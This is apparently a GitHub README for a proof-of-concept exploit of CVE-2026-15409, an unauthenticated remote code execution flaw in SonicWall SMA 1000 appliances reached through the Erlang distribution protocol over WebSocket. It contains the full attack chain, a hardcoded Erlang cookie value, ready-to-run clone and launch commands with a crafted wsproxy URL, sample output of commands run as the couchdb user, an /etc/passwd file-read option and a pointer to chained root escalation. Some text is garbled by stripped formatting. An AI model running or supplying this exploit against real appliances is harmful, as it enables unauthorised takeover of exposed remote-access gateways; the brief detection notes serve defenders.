
Proof-of-Concept exploit for CVE-2026-15409 (SonicWall SMA 1000 RCE) via Erlang distribution over WebSocket. Achieves unauthenticated remote code execution as couchdb user.
Proof‑of‑Concept exploit for CVE-2026-15409 – unauthenticated remote code execution on SonicWall SMA 1000 series appliances via the Erlang distribution protocol tunneled over WebSocket.
CVE-2026-15409 is a critical vulnerability affecting SonicWall SMA 1000 appliances (versions prior to the June 2026 hotfix). The flaw resides in the WorkPlace service (usually exposed on port 443) which proxies WebSocket connections to internal Erlang nodes. By forging a valid parameter and using a hardcoded Erlang cookie, an attacker can establish an authenticated distribution channel and execute arbitrary system commands as the user (or other low‑privileged accounts) via RPC calls to .
bmIDcouchdbos:cmd/1This repository provides a fully functional PoC that automates the entire exploit chain – from WebSocket handshake to arbitrary command execution – with a clean interface, advanced error handling, and beautiful logging.
wss:// using the wsproxy endpoint.os:cmd/1; can read files via file:read_file/1 or test connectivity with erlang:node/0.bmID values (as long as they start with -3389) and multiple serviceType values.[+], [*], [-], [!] symbols for easy monitoring.The vulnerability stems from the following design weaknesses in the SMA 1000:
/wsproxy endpoint forwards binary WebSocket messages to a local Erlang distribution port (localhost:1050 by default) without proper authentication or authorisation.[email protected] listens on 1050 and accepts connections from the WebSocket proxy, making it reachable from the network.rex service, which can execute arbitrary functions on the node, including os:cmd/1.ex_sra_vm_12.5.0-02002.ova).couchdb user (UID 1010, group daemon).file:read_file/1.websockets library (install via pip install websockets).git clone https://github.com/Ch4120N/CVE-2026-15409.git
cd CVE-2026-15409
pip install -r requirements.txt # websockets
python3 cve-2026-15409.py \
--ws-url 'wss://TARGET_IP/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' \
--ws-user-agent 'SMA Connect Agent' \
--ws-insecure-tls \
--exec 'whoami && id && pwd && hostname'
░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▄▀▀░░░░░▀█░░█▀▀░█░█░▄▀▄░▄▀▄
░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░█▀▄░▄▄▄░░█░░▀▀▄░░▀█░█/█░░▀█
░▀▀▀░░▀░░▀▀▀░░░░░▀▀▀░░▀░░▀▀▀░░▀░░░░░░▀▀▀░▀▀░░░░▀░░▀░░▀▀░
[CVE-2026-15409]
Erlang Distribution RCE via WebSocket Proxy
Owner: Ch4120N
[ * ] Connecting via WebSocket to wss://192.168.56.102/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050
[ * ] Preparing RPC: os:cmd('whoami && id && pwd && hostname')
[ + ] Authenticated to [email protected]
[ * ] Calling os:cmd/1 ...
[ + ] RPC call completed
[ * ] Peer name: [email protected]
[ * ] Peer flags: 0xd07df7fbd
[ * ] Peer creation: 1784069352
[ + ] Command output:
couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma
| Argument | Description |
|---|---|
--host, --port | TCP fallback (if not using WebSocket) |
--cookie | Override the default hardcoded cookie |
--name | Custom local Erlang node name |
--ws-origin | Set Origin header for WebSocket |
--ws-user-agent | User‑Agent string (default: SMA Connect Agent) |
--ws-insecure-tls | Disable TLS verification (self‑signed certs) |
--read-file | Read a file from the target (e.g., /etc/passwd) |
--rpc | Just test connection by calling erlang:node/0 |
The Erlang cookie used in the exploit is:
10ecad5b446e86864832904cd439b6b70262
This value is consistent across all tested SMA appliances and is hardcoded in the Erlang process on localhost:1050. It is not the same as the user‑configured cookie for clustering.
bmID ParameterThe bmID must start with -3389 (e.g., -3389c1b25ccd). Arbitrary values after the prefix are accepted, so signature‑based detection should not rely on a fixed hash.
While the example uses serviceType=SSH, other values such as TELNET also work. The exploit is agnostic to the service type.
Port 1050 is the default internal port, but in‑the‑wild attacks have been observed targeting port 8188 as well. The exploit can be adapted to any port that exposes the Erlang distribution protocol.
After gaining a shell as couchdb, an attacker can leverage CVE-2026-15410 – an XML‑RPC path traversal that allows removal of the hotfix and subsequent root privilege escalation.
/wsproxy with bmID starting with -3389.couchdb user (e.g., bash, python, nc)./var/tmp/ by the couchdb user.This project is licensed under the MIT License – see the LICENSE file for details.
Disclaimer: This tool is for educational and authorised testing purposes only. The author and contributors are not responsible for any misuse or damage caused by this software.
If you find this PoC useful, please consider giving it a ⭐ on GitHub and sharing it responsibly. Contributions, issues, and pull requests are welcome!
Happy hacking! 🛡️